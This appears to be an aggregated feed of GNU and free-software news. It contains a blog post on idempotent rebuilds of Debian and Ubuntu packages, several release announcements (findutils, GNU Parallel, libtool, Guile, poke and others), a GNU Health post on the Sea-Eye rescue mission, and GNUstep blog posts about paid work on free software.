After rebuilding all added/modified packages in Trisquel, I have been circling around the elephant in the room: 99% of the binary packages in Trisquel comes from Ubuntu, which to a large extent are built from Debian source packages. Is it possible to rebuild the official binary packages identically? Does anyone make an effort to do so? Does anyone care about going through the differences between the official package and a rebuilt version? Reproducible-build.org‘s effort to track reproducibility bugs in Debian (and other systems) is amazing. However as far as I know, they do not confirm or deny that their rebuilds match the official packages. In fact, typically their rebuilds do not match the official packages, even when they say the package is reproducible, which had me surprised at first. To understand why that happens, compare the buildinfo file for the official coreutils 9.1-1 from Debian bookworm with the buildinfo file for reproducible-build.org’s build and you will see that the SHA256 checksum does not match, but still they declare it as a reproducible package. As far as I can tell of the situation, the purpose of their rebuilds are not to say anything about the official binary build, instead the purpose is to offer a QA service to maintainers by performing two builds of package and declaring success if both builds match.
I have felt that something is lacking, and months have passed and I haven’t found any project that address the problem I am interested in. During my earlier work I created a project called debdistreproduce which performs rebuilds of the difference between two distributions in a GitLab pipeline, and display diffoscope output for further analysis. A couple of days ago I had the idea of rewriting it to perform rebuilds of a single distribution. A new project debdistrebuild was born and today I’m happy to bless it as version 1.0 and to announces the project! Debdistrebuild has rebuilt the top-50 popcon packages from Debian bullseye, bookworm and trixie, on amd64 and arm64, as well as Ubuntu jammy and noble on amd64, see the summary status page for links. This is intended as a proof of concept, to allow people experiment with the concept of doing GitLab-based package rebuilds and analysis. Compare how Guix has the guix challenge command.
Or I should say debdistrebuild has attempted to rebuild those distributions. The number of identically built packages are fairly low, so I didn’t want to waste resources building the rest of the archive until I understand if the differences are due to consequences of my build environment (plain apt-get build-dep followed by dpkg-buildpackage in a fresh container), or due to some real difference. Summarizing the results, **debdistrebuild**is able to rebuild 34% of Debian bullseye on amd64, 36% of bookworm on amd64, 32% of bookworm on arm64. The results for trixie and Ubuntu are disappointing, below 10%.
So what causes my rebuilds to be different from the official rebuilds? Some are trivial like the classical problem of varying build paths, resulting in a different NT_GNU_BUILD_ID causing a mismatch. Some are a bit strange, like a subtle difference in one of perl’s headers file. Some are due to embedded version numbers from a build dependency. Several of the build logs and diffoscope outputs doesn’t make sense, likely due to bugs in my build scripts, especially for Ubuntu which appears to strip translations and do other build variations that I don’t do. In general, the classes of reproducibility problems are the expected. Some are assembler differences for GnuPG’s gpgv-static, likely triggered by upload of a new version of gcc after the original package was built. There are at least two ways to resolve that problem: either use the same version of build dependencies that were used to produce the original build, or demand that all packages that are affected by a change in another package are rebuilt centrally until there are no more differences.
The current design of debdistrebuild uses the latest version of a build dependency that is available in the distribution. We call this a “idempotent rebuild“. This is usually not how the binary packages were built originally, they are often built against earlier versions of their build dependency. That is the situation for most binary distributions.
Instead of using the latest build dependency version, higher reproducability may be achieved by rebuilding using the same version of the build dependencies that were used during the original build. This requires parsing buildinfo files to find the right version of the build dependency to install. We believe doing so will lead to a higher number of reproducibly built packages. However it begs the question: can we rebuild that earlier version of the build dependency? This circles back to really old versions and bootstrappable builds eventually.
While rebuilding old versions would be interesting on its own, we believe that is less helpful for trusting the latest version and improving a binary distribution: it is challenging to publish a new version of some old package that would fix a reproducibility bug in another package when used as a build dependency, and then rebuild the later packages with the modified earlier version. Those earlier packages were already published, and are part of history. It may be that ultimately it will no longer be possible to rebuild some package, because proper source code is missing (for packages using build dependencies that were never part of a release); hardware to build a package could be missing; or that the source code is no longer publicly distributable.
I argue that getting to 100% idempotent rebuilds is an interesting goal on its own, and to reach it we need to start measure idempotent rebuild status.
One could conceivable imagine a way to rebuild modified versions of earlier packages, and then rebuild later packages using the modified earlier packages as build dependencies, for the purpose of achieving higher level of reproducible rebuilds of the last version, and to reach for bootstrappability. However, it may be still be that this is insufficient to achieve idempotent rebuilds of the last versions. Idempotent rebuilds are different from a reproducible build (where we try to reproduce the build using the same inputs), and also to bootstrappable builds (in which all binaries are ultimately built from source code). Consider a cycle where package X influence the content of package Y, which in turn influence the content of package X. These cycles may involve several packages. It may be difficult to identify these chains, and even more difficult to break them up, but this effort help identify where to start looking for them. Rebuilding packages using the same build dependency versions as were used during the original build, or rebuilding packages using a boostrappable build process, both seem orthogonal to the idempotent rebuild problem.
Our notion of rebuildability appears thus to be complementary to reproducible-builds.org’s definition and bootstrappable.org’s definition. Each to their own devices, and Happy Hacking!
When NeXT still existed and the black hardware was a thing, Steve Jobs made the announcement that OPENSTEP would be created and that the object model, not the operating system and not the hardware, was the important thing.
This is a concept that Apple has forgotten. With it's push towards Apple Silicon and a walled-garden, Apple has committed itself to the same pitfall that NeXT fell into. NeXT lacked the infrastructure to handle OPENSTEP running on multiple kinds of hardware, but the object model on different OSes was successful... this is evident in OPENSTEP1.1 for Solaris and OPENSTEP for NT.
GNUstep attempts to reach the same goal, but provides the APIs that are available with Cocoa. The object model IS the important thing and this is why GNUstep is so important. It breaks the walled garden and makes it possible for users to run their apps and tools on other operating systems. GNUstep HASN'T forgotten and we believe this is a core concept that Apple has left behind.
GNU direvent version 5.4 is available for download.
New in this version:
Simultaneous execution limits
It is possible to limit number of command instances that are allowed to run simultaneously for a particular watcher. This is done using
the max-instances statement in watcher section.
Restore the "nowait" default
In previous version, watchers waited for the handler to terminate, unless given the nowait option explicitly. It is now fixed and nowait is the default, as described in the documentation.
Fix bug in generic to system event translationFix sentinel code
In some cases setting the sentinel effectively removed the original watcher. That happened if the full file name of the original watcher
and its directory part produced the same hash code.
GNU dbm version 1.24 is available for download. New in this version:
New gdbm_load option: --update
The --update (-U) option instructs gdbm_load to update an existing database.
Fix semantics of gdbm_load -r
The --replace (-r) is valid only when used together with --update.
Use getline in gdbmtool shellNew function: gdbm_load_from_file_ext
In contrast to gdbm_load and gdbm_load_from_file, which derive the value of the flag parameter for gdbm_open from the value of their replace argument, this function allows the caller to specify it explicitly.
Bugfixes Fix binary dump format for key and/or data of zero size (see bug 656)
* Fix location tracking and recover command in gdbtool (see bug 566)
* Fix possible buffer underflow in gdbmload.
* Ensure any padding bytes in avail_elem* structure are filled with 0. This fixes debian bug 1031276.
* Improve the documentation.
After upgrading to openssh-9.8p1, the existing SSH daemon will be unable to accept new connections.When upgrading remote hosts, please make sure to restart the sshd serviceusing systemctl try-restart sshd right after upgrading.
We are evaluating the possibility to automatically apply a restart of the sshd service on upgrade in a future release of the openssh-9.8p1 package.
I am happy to announce a new release of GNU poke, version 4.2.
This is a bugfix release in the 4.x series.
See the file NEWS in the distribution tarball for a list of issues
fixed in this release.
The tarball poke-4.2.tar.gz is now available at
https://ftp.gnu.org/gnu/poke/poke-4.2.tar.gz.
GNU poke (http://www.jemarch.net/poke) is an interactive, extensible
editor for binary data. Not limited to editing basic entities such
as bits and bytes, it provides a full-fledged procedural,
interactive programming language designed to describe data
structures and to operate on them.
Thanks to the people who contributed with code and/or documentation to
this release.
The title of this article, “Migrar, migrant, migrà rem“, comes from a beautiful poem written by Laia Porcar[1], that inspired the strikingly profound painting by Sara Belles [2] “Jo per tu, fill meu“. The artists reflect the migrants ordeal to provide a better life to their children and families, even at the cost of losing their own lives.
GNU Health[3] is a Social project with some technology behind and the mission at Sea-Eye is one of the best examples. After all, GNU Solidario[4] is a NGO that focuses in the advancement of Social Medicine.
We live a world in a world of injustice. Concentration of power, social gradient and poverty rates keep on the rise. Artificial intelligence is on the hands of mega private corporations, targeting our privacy and feeding the macabre business of war. The fight for scarce natural resources such as lithium or coltan creates coups in impoverished countries. Nature and non-human animals are used and abused as mere commodities. Our world turns a blind eye to the systematic crushing and eradication of civilian population by powerful armies. As a result, we live in a world where migration is not a choice, but the only way out for millions of human beings, even at the risk of becoming anonymous victims in the Atlantic ocean or Mediterranean sea mass graveyards.
“Jo per tu, fill meu”, by Sara BellesBut there is hope. The Sea-Eye mission is the end result of a network of solidarity, cooperation and empathy. The Free Software movement started by Richard Stallman[5]; Julian Sassencheidt message in Mastodon and his presentation at GNU Health Con 2023[6] ; The work of our representative in Germany, Gerald Wiese; the Chaos Computer Club[7]; the team from L’Aurora[8] providing logistic support to the Search and Rescue vessels; the phenomenal Sea-Eye family who made me feel at home: The cook, crew on deck, the logistics and medical team who stood stoically intensive hours of GNU Health training. Of course, Selene, the heart of GNU Solidario and the one that looks after the human and non-human family members while I’m away.
You will hardly see these people in the news, because most corporate-backed media neglect them and their organizations. Unlike some billionaire “philanthropists” that take the media spotlight, these anonymous heroes stand on the right side of history, making a difference on the present and future of those who need it most, with very limited resources.
Collage of several pictures during my stay at the Sea-eyeWe’re very happy and proud to see that GNU Health can be of help to Sea-Eye in tasks such as guests registration, health evaluations, reporting, statistics and stock management. This is just the beginning and we will be optimizing and adding functionality on successive missions. That said, GNU Health will always play a secondary role compared to picking up somebody from the water and giving them a welcoming hug. Again, we’re a social project with a bit of technology behind.
Drawings made by the children rescued at the Sea-eyeI’d like to finish with a reflection on the picture I took to some of the drawings done by children during their stay at the Sea-Eye. The drawings exist because the Sea-eye crew rescued those kids. Otherwise, their corpses would be at the bottom of the Mediterranean sea, along with thousands who tragically perished trying to find dignity in this world. Thank you, Sea-eye. You are priceless.
A final note: shame on those countries and governments that detain and punish Search and Rescue vessels. Saving lives is not a crime.
Love, freedom and happy hacking
You can obtain Sara Belles painting and Laia Porcar poem from L’Aurora solidarity shop[8]
Laia Porcar : https://laravalerateatre.com/qui-som/
Sara Belles . https://sarabelles.es/
The GNU Health project. https://www.gnuhealth.org
GNU Solidario. Advancing Social Medicine https://www.gnusolidario.org
The GNU Operating System. https://www.gnu.org
Search and rescue on the central Mediterranean migratory route . https://https://www.gnuhealthcon.org/2023/presentations/GHCon2023-Friday-07-Julian_Sassenscheidt-Search_and_rescue_on_the_central_Mediterranean_migratory_route.pdf
The Chaos Computer Club (CCC) . https://www.ccc.de/en/
So... recently I was working for a bit (sweat equity or so I thought) for a company by the name of ImmortalData. The company is headed by a man by the name of Dale Amon. I have worked, on and off, for them for about 2-3 years. They are developing a piece of software that is used to extract data from their proprietary black box systems. This piece of software uses GNUstep. They were born from a previous company known as XCOR which was developing a space plane at the Mojave space port. That company is now defunct.
Okay, so with that bit of history, I worked for a while for XCOR and then, because ImmortalData inherited the software, for them as well. When I worked for XCOR it was as a contractor. There have been issues with the software (some GNUstep bugs and some bugs due to problems introduced by Dale) that I have been asked to address.
At the end of a meeting a few weeks ago Dale made a comment like "Well, this issue seems like a GNUstep bug, so there is no reason we should have to pay for any of this" which hit an EXTREMELY sour note with me.
Later on that week I tried to clarify it with Dale, and it seems as though he was under the impression that since I was working on Free Software any changes or fixes TO that software should not be billable. This is NOT true. Additionally, the issue that they are experiencing is because of something THEY did, and it is not a GNUstep bug.
I mentioned this in the previous post, but I feel strongly that this needs to be called out explicitly. Free Software is free as in FREEDOM. This means you are free to look at, examine, and modify the software as you see fit. It does NOT mean services performed on that software on your behalf by someone other than you are free.
This development was VERY upsetting to me and I feel the need to make the above VERY clear.
GNU Parallel 20240622 ('34 counts') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
The most glorious 15,000 lines of Perl ever written.
-- @nibblrrr7124@YouTube
New in this release:
Bug fixes and man page updates.
News about GNU Parallel:
Howto - Parallel: lanciare comandi in simultanea https://github.com/linuxhubit/linuxhub.it/blob/main/_posts/2024-06-14-howto-parallel-per-lanciare-comandi-in-simultanea.md
Implementing Concurrency in Shell Scripts https://dev.to/siddhantkcode/implementing-concurrency-in-shell-scripts-521o
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
We are pleased to finally announce the release of GNU Guile 3.0.10!This release is mainly a bug-fix release, though it does include anumber of new features:
Better ability to define new port types in Scheme (R6RS customtextualports,a new soft portinterface,low-level customports).
Support for local define definitions in all forms with bodies:when and unless, cond and case clauses, and so on.
An experimental opt-in surface syntax,WISP.
For full details, see the releaseannouncement,and check out the download page.
automake 1.16.92 pretest release candidate released. Please test if you can, so 1.17 will be as reliable as we can make it. Announcement:
https://lists.gnu.org/archive/html/autotools-announce/2024-06/msg00001.html
I am happy to announce the release of MyGNUHealth 2.2.0!
The new series of the GNU Health Personal Health record comes with many improvements and bug fixes. Some highlights of this new version:
Support for Kivy 2.3.0
Localization. MyGNUHealth now has support for different languages. English, Spanish and Chinese are available to use, and French, German, Italian are ready to be translated. There will be a translation component for MyGNUHealth at Codeberg's Weblate instance.
Bluetooth functionality: Starting with MyGH series 2.2 we provide bluetooth integration for open compatible devices and health trackers. We include the link with the Pinetime Smartwatch (experimental) and the possibility to link to any open hardware device (glucometer, scales, blood pressure monitors, .. ). We need to get a list of available medical devices that respect our privacy and freedom, so let us know of any!
Charts now allow to select date ranges with calendar widgets
The Book of Life have a revised format for the pages.
The charts have been improved in the format and include x axis labels.
Thanks to Kivy, Mygnuhealth codebase can be ported to other architectures and operating systems such as Android AOSP (Pierre Michel is working on this) and GNU/Linux phones.
In addition to Savannah, we have incorporated Codeberg to the GNU Health development environment. Mailing lists, news and file downloads are at GNU, while the development repositories are at Codeberg (https://codeberg.org/gnuhealth)
You can download the latest MyGNUhealth sourcecode from GNU ftp site, pypi (using pip) or from your operating system package (like openSUSE).
Upgrading should be straightforward, and all the health history will remain in the MyGH database. In any case, please make sure you make a backup before upgrading (and daily ;) ).
Thank you to all the contributors that have possible this milestone!
A little history first. Keysight is a large company that, primarily, makes testing equipment such as oscilloscopes and other electronics. They bought a company a few years back named TestPlant. Prior to that, TestPlant bought a company by the name of Redstone that produced a product known as Eggplant. Recently, I was laid off for economic reasons (at least that's what they said). It occurs to me that nothing in this world lasts forever. I was so depressed when I was let go because Keysight was the perfect home for me... they used GNUstep deeply. So, as you can imagine, I was deeply upset when things ended... but all things do.
I think it happened for several reasons:
Economic - This is what was explained to me, but I am not sure I believe it
Politics - I think this part is because I expressed my opinions HONESTLY about the direction of the company given that they wanted to make the application into a VSCode plugin.
Perception - I am 54 years old... so I think that they believed that Objective-C was my one and only talent, it's not... I know many other languages and have many other skills.
Unfortunately, in the US, any employer can let go of any employee or contractor for ANY reason. This is known as at-will employment, making it very hard to take any action against any employer (not that this is something I considered).
Keysight is and will remain a major contributor to GNUstep.
That being said, I recently ran into something rather disturbing at another company. I have been working with a company based out of New Mexico that is interested in space applications. They have been using GNUstep and have been awaiting funding.
The lead of this effort expressed something during a meeting saying "We will work on the GNUstep side of this because there is no reason we should have to pay for any of this." This hit a sour note with me to say the very least. As it turns out he was under the mistaken impression that, because the work was on GNUstep, it was for free... which is WRONG.
I wonder if the same impression was present at Keysight or if other companies believe this. The saying, according to RMS, is "Free as in freedom, not as in beer." If you are a manager at a company who is under the mistaken impression that work on any Free Software or Open Source project is free when your product depends on it, please correct your thinking. Just because it is someone's passion project does NOT mean that they are going to do that work for free and prioritize the things that need to be done for your organization.
All of that being said the positive sides are this:
More time to code on GNUstep without interruption
More time to work on my own projects
Time to rest and relax
So, as much as I hate being unemployed there ARE some upsides to it. Here's to hoping something works out soon. I literally loved my job at Keysight and, honestly, hope to return. I have my eye on their changes as well as those of others just like any other member of the community. Yours, GC
This project implemented the GNU Taler payment system in Adobe Commerce (formerly Magento). An extension was developed that can now be included in all Adobe Commerce online shops.
This bachelor thesis implements puts it's focus on the GNU Taler auditor. Cedric Zwahlen and Nicola Eigel made it real-time and added single page application.
Two independent bachelor theses bring new privacy-focused features to GNU Taler. Christian Blättler designed and implemented token-based subscriptions and discounts in Taler, while Lukas Matyja and Johannes Casaburi's thesis introduces the Donau system, a new type of a donation authority system.
GNUnet 0.21.2 This is a bugfix release for gnunet 0.21.1.It primarily addresses some connectivity issues introduced with our new transport subsystem.
Links * Source: https://ftpmirror.gnu.org/gnunet/gnunet-0.21.2.tar.gz ( https://ftpmirror.gnu.org/gnunet/gnunet-0.21.2.tar.gz.sig )
* Source (meson): https://buildbot.gnunet.org/gnunet-0.21.2-meson.tar.gz ( https://buildbot.gnunet.org/gnunet-0.21.2-meson.tar.gz.sig )
* Detailed list of changes: https://git.gnunet.org/gnunet.git/log/?h=v0.21.2
* NEWS: https://git.gnunet.org/gnunet.git/tree/NEWS?h=v0.21.2
* The list of closed issues in the bug tracker: https://bugs.gnunet.org/changelog_page.php?version_id=440
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links may be functionalearly after the release. For direct access try https://ftp.gnu.org/gnu/gnunet/
Version 2.8 of the GNU Scientific Library (GSL) has been released.
Thank you to all who helped test the library prior to the release, and
thank you to everyone for using the library and giving feedback and
reports. The following changes have been added to the library:
What is new in gsl-2.8:
apply patch for bug #63679 (F. Weimer)
** updated multilarge TSQR method to store ||z_2|| and
provide it to the user
** add routines for Hermite B-spline interpolation
We are happy to have been selected to host a side-event of the PointZeroForum in Biel, Switzerland from 10-12am on July 1st where we will be presenting GNU Taler and related technologies. Attendance is gratis and open to the general public (not just PZF attendees). You can find more information and register for the event on the BFH event page.
This is to announce findutils-4.10.0, a stable release.
See the NEWS below for more details.
GNU findutils is a set of software tools for finding files that match
certain criteria and for performing various operations on them.
Findutils includes the programs "find", "xargs" and "locate".
More information about findutils is available at:
https://www.gnu.org/software/findutils/
Please report bugs and problems with this release via the the
GNU Savannah bug tracker:
https://savannah.gnu.org/bugs/?group=findutils
Please send general comments and feedback about the GNU findutils
package to the mailing list (<mailto:bug-findutils@gnu.org):
https://lists.gnu.org/mailman/listinfo/bug-findutils
There have been 88 commits by 8 people in the - sigh - 121 weeks since 4.9.0:
Antonio Diaz Diaz (2) James Youngman (24)
Bernhard Voelker (57) John A. Leuenhagen (1)
Bjarni Ingi Gislason (1) Shuiqing Zhou (1)
Helmut Grohne (1) ribbon (1)
This release was bootstrapped with the following tools:
Autoconf 2.72
Automake 1.16.5
M4 1.4.18
Gnulib v1.0-187-g623bcc22f4
Please consider supporting the Free Software Foundation in its fund
raising appeal; see https://www.fsf.org/appeal/.
Thanks to everyone who has contributed!
Have a nice day,
Bernhard Voelker [on behalf of the GNU findutils maintainers]
[*] Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify findutils-4.10.0.tar.xz.sig
If that command fails because you don't have the required public key,
then run this command to import it:
Noteworthy changes in release 4.10.0 (2024-06-01) [stable]
** Bug Fixes
Find now defaults to optimization level 1 rather than 2 and the
cost-based optimizer will only run at level 2 and above. This
should prevent changes of operation order which result in
user-visible differences in behaviour. [#58427]
If the -P option to xargs is not used, xargs will not change the way
in which the SIGUSR1 and SIGUSR2 signals are handled. This means
that they will cause the program to terminate if the signals were
not ignored in the process which started xargs. This also means that
xargs does not use parallel execution at all.
If you start xargs with '-P 1', then xargs will not be killed by these
signals, and they instead change the degree of parallelism.
This change improves xargs' POSIX compliance.
'xargs -P' now waits for all its child processes to complete before
exiting, even if one of them exits with status 255. [#64451]
If the -P option of xargs is in use, reads on standard input which are
interrupted by a signal are re-started. [#64442]
'find -name /' no longer outputs a warning, because that is a valid pattern
to match the root directory "/". Previously, a diagnostic falsely claimed
that this pattern would not match anything. [#62227]
'find -gid' (without the mandatory argument) now outputs a correct error
diagnostic. Previously it output: "find: invalid argument -gid' to-gid'".
The error diagnostic for non-numeric arguments has been improved as well.
Likewise for -inum, -links and -uid.
'find -user' and 'find -group' now allow to specify larger UIDs/GIDs.
Previously, that was limited to INT_MAX, although the types uid_t and gid_t
are larger on many systems, including x86_64 GNU/Linux. [#64900]
'find -xtype l' no longer fails on symbolic links that point to
themselves. These are treated similarly to broken links. [#51926]
** Improvements
The find predicates -used, -amin, -cmin, -mmin, -atime, -ctime, and -mtime
now properly diagnose a not-a-number argument. Previously, find dumped
core via an assertion. [#64717]
** Changes to the build process
findutils now builds again on systems with musl-libc.
This requires gettext-0.19.8.
findutils programs no longer fail for timestamps past the year 2038
on obsolete configurations with 32-bit signed time_t, because the
build procedure now rejects these configurations.
On systems without any year2038 support configure with --disable-year2038.
** Documentation Changes
When generating the Texinfo manual, makeinfo is invoked with the --no-split
option for all output formats now; this avoids files like find.info-[12].
The xargs documentation now describes the double dash "--" option delimiter.
The xargs examples in the Texinfo manual now use the -L and --replace options
instead of the deprecated -l and -i options. [#64480]
The TexInfo manual now uses upper-case 'B' as birthtime for the -newerXY
comparison consistently. [#65378]
I am happy to announce a new release of GNU poke, version 4.1.
This is a bugfix release in the 4.x series.
See the file NEWS in the distribution tarball for a list of issues
fixed in this release.
The tarball poke-4.1.tar.gz is now available at
https://ftp.gnu.org/gnu/poke/poke-4.1.tar.gz.
GNU poke (http://www.jemarch.net/poke) is an interactive, extensible
editor for binary data. Not limited to editing basic entities such
as bits and bytes, it provides a full-fledged procedural,
interactive programming language designed to describe data
structures and to operate on them.
Thanks to the people who contributed with code and/or documentation to
this release.
We are glad to announce the publication of a new research paper entitledSource Code Archiving to the Rescue of ReproducibleDeployment for the ACM Conferenceon Reproducibility and Replicability.The paper presents work that has been done since we started connectingGuix with the Software Heritage (SWH)archivefive years ago:
The ability to verify research results and to experiment withmethodologies are core tenets of science. As research results areincreasingly the outcome of computational processes, software plays acentral role. GNU Guix is a software deployment tool that supportsreproducible software deployment, making it a foundation forcomputational research workflows. To achieve reproducibility, we mustfirst ensure the source code of software packages Guix deploys remainsavailable.
We describe our work connecting Guix with Software Heritage, theuniversal source code archive, making Guix the first free softwaredistribution and tool backed by a stable archive. Our contribution istwofold: we explain the rationale and present the design andimplementation we came up with; second, we report on the archivalcoverage for package source code with data collected over five years anddiscuss remaining challenges.
The ability to retrieve package source code is important for researcherswho need to be able toreplayscientific workflows, but it’s just as important for engineers anddevelopers alike, who may also have good reasons to redeploy or toaudit pastpackage sets.
Support for source code archiving and recovery in Guix has improved alot over the past five years, in particular with:
Support for recovering source code tarballs (tar.gz and similarfiles): this is made possible byDisarchive, written byTimothy Sample.
The ability to look up data by narhash in theSWH archive (“nar” is the normalized archive format used by Nixand Guix), thanks to fellow SWH hackers. This, in turn, allows Guixto look up any version control checkout by contenthash—Git, Subversion, Mercurial,you name it!
The monitoring of archival coverage with Timothy’s Preservation ofGuix reports has allowed usto identify discrepancies in Guix, Disarchive, and/or SWH and toincrease archival coverage.
94% of the packages in a January 2024 snapshot of Guix are known to havetheir source code archived!
Check out the paper to learn moreabout the machinery at play and the current status.
Parabola's default makepkg.conf has long loaded /etc/makepkg.d/*.conf. As of makepkg 6.1.0, the program itself now loads /etc/makepkg.conf.d/*.conf, so this part of our makepkg.conf has been removed. Users who have /etc/makepkg.d/*.conf files need to move them to /etc/makepkg.conf.d/.
GNU Parallel 20240522 ('Tbilisi') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
GNU Parallel é mais um daqueles "como eu vivia sem isso?!"
-- Ivan Augusto @ivanaugustobd@twitter
New in this release:
--onall now supports sshpass - user:pass@host.
--memfree kills do not count as --retries.
Bug fixes and man page updates.
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
The Libtool Team is pleased to announce the release of libtool 2.5.0, a alpha release.
GNU Libtool hides the complexity of using shared libraries behind a
consistent, portable interface. GNU Libtool ships with GNU libltdl, which
hides the complexity of loading dynamic runtime libraries (modules)
behind a consistent, portable interface.
There have been 91 commits by 29 people in the 113 weeks since 2.4.7.
See the NEWS below for a brief summary.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
Albert Chu (1)
Alex Ameen (3)
Antonin Décimo (3)
Brad Smith (2)
Bruno Haible (2)
Dmitry Antipov (1)
Florian Weimer (1)
Gilles Gouaillardet (1)
Ileana Dumitrescu (24)
Jakub Wilk (1)
Jonathan Wakely (2)
Manoj Gupta (1)
Mike Frysinger (23)
Mingli Yu (2)
Oliver Kiddle (1)
Olly Betts (1)
Ozkan Sezer (2)
Paul Eggert (2)
Paul Green (1)
Raul E Rangel (1)
Richard Purdie (5)
Sam James (4)
Samuel Thibault (1)
Stephen Webb (1)
Tijl Coosemans (1)
Tim Rice (1)
Uwe Kleine-König (1)
Vadim Zeitlin (1)
Xiang.Lin (1)
Ileana
[on behalf of the libtool maintainers]
==================================================================
Here is the GNU libtool home page:
https://gnu.org/s/libtool/
For a summary of changes and contributors, see:
https://git.sv.gnu.org/gitweb/?p=libtool.git;a=shortlog;h=v2.5.0
or run this command from a git-cloned libtool directory:
git shortlog v2.4.7..v2.5.0
Here are the compressed sources:
https://alpha.gnu.org/gnu/libtool/libtool-2.5.0.tar.gz (1.9MB)
https://alpha.gnu.org/gnu/libtool/libtool-2.5.0.tar.xz (1008KB)
Here are the GPG detached signatures:
https://alpha.gnu.org/gnu/libtool/libtool-2.5.0.tar.gz.sig
https://alpha.gnu.org/gnu/libtool/libtool-2.5.0.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Verify the base64 SHA256 checksum with cksum -a sha256 --check
from coreutils-9.2 or OpenBSD's cksum since 2007.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify libtool-2.5.0.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
This release was bootstrapped with the following tools:
Autoconf 2.72e
Automake 1.16.5
Gnulib v0.1-6995-g29d705ead1
NEWS
Noteworthy changes in release 2.5.0 (2024-05-13) [alpha]
** New features:
Pass '-fdiagnostics-color', '-frecord-gcc-switches',
